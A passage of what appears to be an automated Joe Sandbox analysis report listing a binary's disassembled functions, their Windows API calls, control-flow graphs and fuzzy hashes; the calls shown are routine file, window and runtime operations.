                                                              control_flow_graph 1230 d8f2ce-d8f2f7 GetClassNameW 1231 d8f2f9-d8f30e call d88da4 1230->1231 1232 d8f31f-d8f321 1230->1232 1239 d8f31e 1231->1239 1240 d8f310-d8f31c FindWindowExW 1231->1240 1233 d8f32c-d8f338 call d95734 1232->1233 1234 d8f323-d8f326 SHAutoComplete 1232->1234 1234->1233 1239->1232 1240->1239
                                                              APIs
                                                              • GetClassNameW.USER32(?,?,00000050), ref: 00D8F2EF
                                                              • SHAutoComplete.SHLWAPI(?,00000010), ref: 00D8F326
                                                                • Part of subcall function 00D88DA4: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,000000FF,00D80E3F,?,?,?,00000046,00D81ECE,00000046,?,exe,00000046), ref: 00D88DBA
                                                              • FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00D8F316
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AutoClassCompareCompleteFindNameStringWindow
                                                              • String ID: EDIT
                                                              • API String ID: 4243998846-3080729518
                                                              • Opcode ID: b15031fc8a9d41cf408b1b44e67e178428b26884d358023fb5dadeaa21078bd9
                                                              • Instruction ID: 3c4e2676971bd9b38263be8da3c4d08bcb29e3572506abaf8438ea8e282db253
                                                              • Opcode Fuzzy Hash: b15031fc8a9d41cf408b1b44e67e178428b26884d358023fb5dadeaa21078bd9
                                                              • Instruction Fuzzy Hash: 3EF0C83160131AABDB20AB249C05F9FB7BCDF46B10F040065FA01E7281DAB0AA458B75
                                                              Function 00D8F4D4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              APIs
                                                                • Part of subcall function 00D86C5E: __EH_prolog3_GS.LIBCMT ref: 00D86C65
                                                                • Part of subcall function 00D86C5E: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00D86C9A
                                                              • OleInitialize.OLE32(00000000), ref: 00D8F4ED
                                                              • GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D8F524
                                                              • SHGetMalloc.SHELL32(00DC532C), ref: 00D8F52E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: DirectoryGdiplusH_prolog3_InitializeMallocStartupSystem
                                                              • String ID: riched20.dll
                                                              • API String ID: 2446841611-3360196438
                                                              • Opcode ID: 8d985b30457ce0c8e96157b1a02d80563fd33327dbd442cb72aea1fefda6d21e
                                                              • Instruction ID: 1047d82814be129884ee4dbac379812878290040342d6a3a750fa2e631764c15
                                                              • Opcode Fuzzy Hash: 8d985b30457ce0c8e96157b1a02d80563fd33327dbd442cb72aea1fefda6d21e
                                                              • Instruction Fuzzy Hash: 5BF0E7B1D0020AABCB10AF99D8499EEBBBCEF94704F10405AE415E2251D7B856498FB1
                                                              Function 00D7E948 Relevance: 6.1, APIs: 4, Instructions: 117fileCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1245 d7e948-d7e961 call d957d8 1248 d7e963-d7e965 1245->1248 1249 d7e96a-d7e974 1245->1249 1250 d7eaa6-d7eaab call d95787 1248->1250 1251 d7e976-d7e983 GetStdHandle 1249->1251 1252 d7e988 1249->1252 1254 d7ea6f-d7ea72 1251->1254 1255 d7e98b-d7e998 1252->1255 1254->1255 1256 d7e9df-d7e9f4 WriteFile 1255->1256 1257 d7e99a-d7e99e 1255->1257 1261 d7e9f7-d7e9f9 1256->1261 1259 d7e9a0-d7e9ab 1257->1259 1260 d7e9ff-d7ea03 1257->1260 1262 d7e9af-d7e9ce WriteFile 1259->1262 1263 d7e9ad 1259->1263 1264 d7ea9f-d7eaa2 1260->1264 1265 d7ea09-d7ea0d 1260->1265 1261->1260 1261->1264 1262->1261 1266 d7e9d0-d7e9db 1262->1266 1263->1262 1264->1250 1265->1264 1267 d7ea13-d7ea25 call d79230 1265->1267 1266->1259 1268 d7e9dd 1266->1268 1271 d7ea77-d7ea9a call d714a7 call d79653 call d71a66 1267->1271 1272 d7ea27-d7ea30 1267->1272 1268->1261 1271->1264 1272->1255 1274 d7ea36-d7ea3a 1272->1274 1274->1255 1276 d7ea40-d7ea6c 1274->1276 1276->1254
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7E94F
                                                              • GetStdHandle.KERNEL32(000000F5,0000002C,00D82D28,?,?,?,?,00000000,00D8ABB6,?,?,?,?,?,00D8A80E,?), ref: 00D7E978
                                                              • WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00D7E9BE
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FileH_prolog3_HandleWrite
                                                              • String ID:
                                                              • API String ID: 2898186245-0
                                                              • Opcode ID: e9f74ec1021f9e973b3ea60ec59cd99865fbe2fff8fcaa68b0a1da73eb86f8d1
                                                              • Instruction ID: de577feb4254d7d848d60887096aacc20047012b9f5366d155e3dd49c7781fc3
                                                              • Opcode Fuzzy Hash: e9f74ec1021f9e973b3ea60ec59cd99865fbe2fff8fcaa68b0a1da73eb86f8d1
                                                              • Instruction Fuzzy Hash: 0F41AE36A01214EBDF14DF64D884BADBB76FF49710F088198F905AB281EB309944CBB1
                                                              Function 00D7EFEF Relevance: 6.1, APIs: 4, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 1284 d7efef-d7f00a call d957d8 call d813da 1289 d7f031-d7f033 1284->1289 1290 d7f00c-d7f00f 1284->1290 1292 d7f035-d7f03d call d7ed0d 1289->1292 1290->1289 1291 d7f011-d7f017 1290->1291 1293 d7f01b-d7f029 CreateDirectoryW 1291->1293 1294 d7f019 1291->1294 1301 d7f0e3-d7f0f0 GetLastError 1292->1301 1302 d7f043-d7f065 call d8169a 1292->1302 1296 d7f0d0-d7f0d4 1293->1296 1297 d7f02f 1293->1297 1294->1293 1299 d7f0d6-d7f0da call d7f58b 1296->1299 1300 d7f0df-d7f0e1 1296->1300 1297->1292 1299->1300 1305 d7f0fb-d7f100 call d95787 1300->1305 1301->1305 1306 d7f0f2-d7f0fa 1301->1306 1310 d7f067-d7f06e 1302->1310 1311 d7f07d-d7f087 1302->1311 1306->1305 1314 d7f073-d7f07b CreateDirectoryW 1310->1314 1315 d7f070 1310->1315 1312 d7f0bc-d7f0ce 1311->1312 1313 d7f089-d7f09e 1311->1313 1312->1296 1312->1301 1316 d7f0b3-d7f0bb call d95726 1313->1316 1317 d7f0a0-d7f0b0 call d719a9 1313->1317 1314->1311 1315->1314 1316->1312 1317->1316
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7EFF6
                                                              • CreateDirectoryW.KERNELBASE(?,00000000,?,00000024,00D7EBA7,?,00000001,00000000,?,?,00000024,00D7A4DE,?,00000001,?,?), ref: 00D7F01F
                                                              • CreateDirectoryW.KERNEL32(?,00000000,?,?,?,?,00000024,00D7EBA7,?,00000001,00000000,?,?,00000024,00D7A4DE,?), ref: 00D7F075
                                                              • GetLastError.KERNEL32(?,?,00000024,00D7EBA7,?,00000001,00000000,?,?,00000024,00D7A4DE,?,00000001,?,?,00000000), ref: 00D7F0E3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CreateDirectory$ErrorH_prolog3_Last
                                                              • String ID:
                                                              • API String ID: 3709856315-0
                                                              • Opcode ID: c07035bac882d8d47accae10f874aacfb8ce8edb6ac1afde5ce1005dea53f590
                                                              • Instruction ID: 2b66482056f0c3e18c53f929aeed588877506fea754e4f37b7f7495fb0bc7c6a
                                                              • Opcode Fuzzy Hash: c07035bac882d8d47accae10f874aacfb8ce8edb6ac1afde5ce1005dea53f590
                                                              • Instruction Fuzzy Hash: 8C316171900209DBDF20EFA9D888AEEBBF8EF48350F14842AE545E3351E7349945CB75
                                                              Function 00D7E019 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetStdHandle.KERNEL32(000000F6,?,?,?,00000000,00D7E5D2,?,?,00000000,?,00000000), ref: 00D7E029
                                                              • ReadFile.KERNELBASE(?,?,00000000,00100000,00000000,?,?,?,00000000,00D7E5D2,?,?,00000000,?,00000000), ref: 00D7E041
                                                              • GetLastError.KERNEL32(?,?,?,00000000,00D7E5D2,?,?,00000000,?,00000000), ref: 00D7E073
                                                              • GetLastError.KERNEL32(?,?,?,00000000,00D7E5D2,?,?,00000000,?,00000000), ref: 00D7E092
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$FileHandleRead
                                                              • String ID:
                                                              • API String ID: 2244327787-0
                                                              • Opcode ID: e001a284e341b52b634a1f4075c8bb4791950a44fc9c2063b8153c911acbb1c1
                                                              • Instruction ID: 135ef20b21265abd93721931b1efe8296875488532116f6e13f98b7c0f58aa66
                                                              • Opcode Fuzzy Hash: e001a284e341b52b634a1f4075c8bb4791950a44fc9c2063b8153c911acbb1c1
                                                              • Instruction Fuzzy Hash: 1811CE30500308EBDB309F61C904A6E37A9FB49324F14C6A9E46EC5290EBF1DE449B71
                                                              Function 00D87628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateThread.KERNELBASE(00000000,00010000,Function_00017760,?,00000000,?), ref: 00D8764C
                                                              • SetThreadPriority.KERNEL32(?,00000000,?,?,?,?,00000004,00D7736D,00D75AB0,?), ref: 00D87693
                                                                • Part of subcall function 00D792EB: __EH_prolog3_GS.LIBCMT ref: 00D792F2
                                                                • Part of subcall function 00D79500: __EH_prolog3_GS.LIBCMT ref: 00D79507
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_Thread$CreatePriority
                                                              • String ID: CreateThread failed
                                                              • API String ID: 3138599208-3849766595
                                                              • Opcode ID: a1238f18af6e1a825d1875121721f5dd9f93376c926bb5f53b1395d52fac0527
                                                              • Instruction ID: ecc547777320ff983e1274e7344e6227a6b0a3a3e0692d38ab4567e2d6cf1d97
                                                              • Opcode Fuzzy Hash: a1238f18af6e1a825d1875121721f5dd9f93376c926bb5f53b1395d52fac0527
                                                              • Instruction Fuzzy Hash: 9201A772248706BFD2107E68DC82FA2B398EB41710F20012DF54696281EAA1A844873C
                                                              Function 00D7DE9A Relevance: 4.6, APIs: 3, Instructions: 115fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7DEA1
                                                              • CreateFileW.KERNELBASE(?,?,?,00000000,00000002,00000000,00000000,?,00000024,00D7E8F5,?,?,00D7A6B9,?,00000011,?), ref: 00D7DF15
                                                              • CreateFileW.KERNEL32(?,?,?,00000000,00000002,00000000,00000000,?,?,?,00D7D303,?,?,?), ref: 00D7DF65
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CreateFile$H_prolog3_
                                                              • String ID:
                                                              • API String ID: 1771569470-0
                                                              • Opcode ID: 4fcb8221b3fee2c3993052012e7f797b27443ca3a3290af007f686e75303500d
                                                              • Instruction ID: 44c445ef6bdee0c1e7dc1e94484ccb2206545910d2b524a9e652324d2373deba
                                                              • Opcode Fuzzy Hash: 4fcb8221b3fee2c3993052012e7f797b27443ca3a3290af007f686e75303500d
                                                              • Instruction Fuzzy Hash: AF4180708102089FDF14DFA8D88ABEEB7F5EF48320F14961EF556E6281E774A9448B34
                                                              Function 00D86C5E Relevance: 4.6, APIs: 3, Instructions: 90libraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D86C65
                                                              • GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 00D86C9A
                                                              • LoadLibraryW.KERNELBASE(00000000,?,?,00000000,00000000,?), ref: 00D86D0C
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: DirectoryH_prolog3_LibraryLoadSystem
                                                              • String ID:
                                                              • API String ID: 1552931673-0
                                                              • Opcode ID: fa31e0ca3047d8587455373a63fdc1b5cb9673255871121de2c7d989e66ced0c
                                                              • Instruction ID: bdfb646c677129a6a93a66a4c0b801cf61f39fbdaf63dc519df91e21ea38eaaa
                                                              • Opcode Fuzzy Hash: fa31e0ca3047d8587455373a63fdc1b5cb9673255871121de2c7d989e66ced0c
                                                              • Instruction Fuzzy Hash: 1A317C75D00208DACB04EBE8D889BEEBBB9EF48324F104219E505B7241EB749A49CB75
                                                              Function 00D7F58B Relevance: 4.6, APIs: 3, Instructions: 60COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7F592
                                                              • SetFileAttributesW.KERNELBASE(?,?,00000024,00D7A724,?,?,?,00000011,?,?,00000000,?,?,?,?,?), ref: 00D7F5A8
                                                              • SetFileAttributesW.KERNEL32(?,?,?,?,?,00D7D303,?,?,?,?,?,?,?,562D4312,00000049), ref: 00D7F5EB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AttributesFile$H_prolog3_
                                                              • String ID:
                                                              • API String ID: 2559025557-0
                                                              • Opcode ID: 52af859d04d207cc01f749fbc8768de927d7cef8d5f0dd157b3e963787a7198d
                                                              • Instruction ID: 9a79bbc0525abf4ce116d7562627fd4f50ccc69ad619fead2417c0c14735ff43
                                                              • Opcode Fuzzy Hash: 52af859d04d207cc01f749fbc8768de927d7cef8d5f0dd157b3e963787a7198d
                                                              • Instruction Fuzzy Hash: 2511E475910209EBDF15DFA8E885ADEBBB8FF08310F14902AE504E7250E7349A55CB78
                                                              Function 00D7EC63 Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7EC6A
                                                              • DeleteFileW.KERNELBASE(?,00000024,00D7D6F7,?), ref: 00D7EC7D
                                                              • DeleteFileW.KERNEL32(00000000,?,00000000), ref: 00D7ECBD
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: DeleteFile$H_prolog3_
                                                              • String ID:
                                                              • API String ID: 3558260747-0
                                                              • Opcode ID: 85dab05cc5d932de239c25f903da6d9312b3dae5007ce3a44fb587cee846b32c
                                                              • Instruction ID: 0957864273c1402345d2395973c2b9d0332efec18574b39f12296e5b91a1e223
                                                              • Opcode Fuzzy Hash: 85dab05cc5d932de239c25f903da6d9312b3dae5007ce3a44fb587cee846b32c
                                                              • Instruction Fuzzy Hash: 1711F675D10219DBDF05DFA8E989ADEB7F8EB0C311F18502AE504E7250E734AA848B79
                                                              Function 00D7ED1F Relevance: 4.6, APIs: 3, Instructions: 57COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D7ED26
                                                              • GetFileAttributesW.KERNELBASE(?,00000024,00D7ED16,00000000,00D7A4A1,562D4312,?,00D7CDDD,?,?,?,?,?,?,?,?), ref: 00D7ED39
                                                              • GetFileAttributesW.KERNELBASE(?,?,?), ref: 00D7ED79
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AttributesFile$H_prolog3_
                                                              • String ID:
                                                              • API String ID: 2559025557-0
                                                              • Opcode ID: 3387625af6aefbc0a53ed864e1594133451fdf163edaaa17264b64a71270ea7a
                                                              • Instruction ID: 851a196ebda326ff9c52ae62b10d6af162da9ec7d459ee179fcd71441510091e
                                                              • Opcode Fuzzy Hash: 3387625af6aefbc0a53ed864e1594133451fdf163edaaa17264b64a71270ea7a
                                                              • Instruction Fuzzy Hash: 78112374910218DBCF14DFA8E8899EDB7F9EB4D320F14452AE504E3380EA309A458B78
                                                              Function 00D7E3D5 Relevance: 3.1, APIs: 2, Instructions: 140COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetFilePointer.KERNELBASE(000000FF,?,?,?,?,00000000,?,00000000,00D7E3B1,?,?,00000000,?,?,00D7CC21,?), ref: 00D7E55F
                                                              • GetLastError.KERNEL32 ref: 00D7E56E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorFileLastPointer
                                                              • String ID:
                                                              • API String ID: 2976181284-0
                                                              • Opcode ID: 6b44906dbf56d975df11bcd4ae1dbcdf1003f96715b2949e7eea1a996714781a
                                                              • Instruction ID: dd25a993105928dbc6d229af0652e509cba428ce31977210b4f37234ed70c3f3
                                                              • Opcode Fuzzy Hash: 6b44906dbf56d975df11bcd4ae1dbcdf1003f96715b2949e7eea1a996714781a
                                                              • Instruction Fuzzy Hash: 8E41C431604355CBDB249F64D4846AAB3E5FB5C328F18899DD88D83241F774DC458BB1
                                                              Function 00DA26D7 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00DA0005: GetLastError.KERNEL32(?,?,00D9B581,?,00DBE088,?,00D9AE80,?,00DBE088,?,00000007), ref: 00DA0009
                                                                • Part of subcall function 00DA0005: _free.LIBCMT ref: 00DA003C
                                                                • Part of subcall function 00DA0005: SetLastError.KERNEL32(00000000,00DBE088,?,00000007), ref: 00DA007D
                                                                • Part of subcall function 00DA0005: _abort.LIBCMT ref: 00DA0083
                                                                • Part of subcall function 00DA27FE: _abort.LIBCMT ref: 00DA2830
                                                                • Part of subcall function 00DA27FE: _free.LIBCMT ref: 00DA2864
                                                                • Part of subcall function 00DA246B: GetOEMCP.KERNEL32(00000000,?,?,00DA26F4,?), ref: 00DA2496
                                                              • _free.LIBCMT ref: 00DA274F
                                                              • _free.LIBCMT ref: 00DA2785
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
